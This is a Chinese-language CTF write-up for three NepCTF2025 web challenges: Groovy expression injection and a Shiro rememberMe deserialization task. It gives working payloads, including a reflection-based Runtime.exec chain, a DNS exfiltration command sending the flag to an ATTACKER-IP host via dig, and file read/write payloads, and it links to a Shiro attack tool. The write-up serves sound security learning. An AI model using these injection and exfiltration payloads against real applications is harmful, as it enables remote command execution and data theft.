0%

NepCTF2025

easyGooGooVVVY

题目说是Java的groovy表达式注入
碰到groovy表达式注入,有几种方法可以解

读取文件

// 直接读取 flag 文件内容
new File(‘/flag’).text

// 或使用系统命令
“cat /flag”.execute().text
这两种解法建立在显示执行结果的前提下

DNS外带

// 将 flag 作为 DNS 查询子域
“dig @ATTACKER-IP $(cat /flag | tr -d ‘\n’).yourdomain.com”.execute()

攻击端操作:
使用 tcpdump 捕获 DNS 请求:

tcpdump -i eth0 udp port 53 -vvn

从 DNS 查询中提取 flag:

tcpdump -i eth0 udp port 53 -vvn | grep -oP ‘(?|IN\s+)\K[^.]+(?=.yourdomain)’
以上建立在能出网的前提下

写入文件

可以把flag写入web可以访问的目录,然后访问就能有flag

// 将 flag 写入 Web 可访问目录
new File(‘/var/www/html/flag.txt’).text = new File(‘/flag’).text

这里用这个payload

1
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()

1. java.lang.Math.class

  • 作用:获取一个 “基础工具类” 的 “模板”
  • 类比:Math是 Java 里处理数学计算的工具(比如算平方根、三角函数等),就像你电脑里的 “计算器程序”。
  • .class在这里的意思是 “获取这个工具的模板说明书”(每个程序在电脑里都有一个 “模板” 来描述它能做什么)。
  • 为什么用Math?它本身和执行命令无关,只是个 “跳板”—— 就像你想借工具时,先随便拿起身边一个无关的小物件,再用它去换你真正需要的工具(后面会解释为什么需要跳板)。

2. .forName("java.lang.Runtime")

  • 作用:用上面的 “模板”,找到并加载 “能执行系统命令的工具”
  • 类比:java.lang.Runtime是 Java 里一个特殊的工具,它相当于电脑的 “命令执行器”,能直接让电脑做系统级的操作(比如运行程序、执行命令)。
  • forName("xxx")就像 “根据名字找工具”—— 你告诉程序:”帮我找到叫 ‘java.lang.Runtime’ 的这个工具说明书”。
  • 为什么要 “找”?因为有些环境会限制直接使用这个危险工具,所以先通过Math的模板间接去找,偷偷拿到它的说明书。

3. .getRuntime()

  • 作用:从 “工具说明书” 中,拿到能实际干活的 “工具实例”
  • 类比:Runtime这个工具很特殊,整个电脑里只有一个 “真身”(单例模式),就像每个公司只有一个 CEO。
  • getRuntime()就是 “请 CEO 出来干活”—— 拿到这个唯一能执行命令的实际对象。

4. .exec("whoami")

  • 作用:让这个 “命令执行器” 运行具体的命令
  • 类比:exec("命令")就是给 “CEO” 下指令,这里的指令是whoami(一个系统命令)。
  • whoami的作用:在任何电脑系统(Windows/Linux/Mac)里,输入这个命令都会返回当前登录的用户名(比如你的电脑用户名是 “张三”,它就会输出 “张三”)。
  • 效果相当于你手动打开命令提示符 / 终端,输入whoami并按回车。

5. .getText()

  • 作用:获取命令执行后的结果文本
  • 类比:命令执行后会有输出(比如用户名),getText()就像 “把结果抄下来给你看”。
  • 注意:这是 Groovy 语言(Java 的 “亲戚”)特有的简化写法,Java 里需要更复杂的步骤才能拿到结果,Groovy 帮我们省了麻烦。

RevengeGooGooVVVY

这题跟上题的payload一样

1
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("env").getText()

JavaSeri

关键词:javaseri,rememberme 赌一把,拿工具可以一把梭

flag在环境变量里

工具下载地址:(https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0)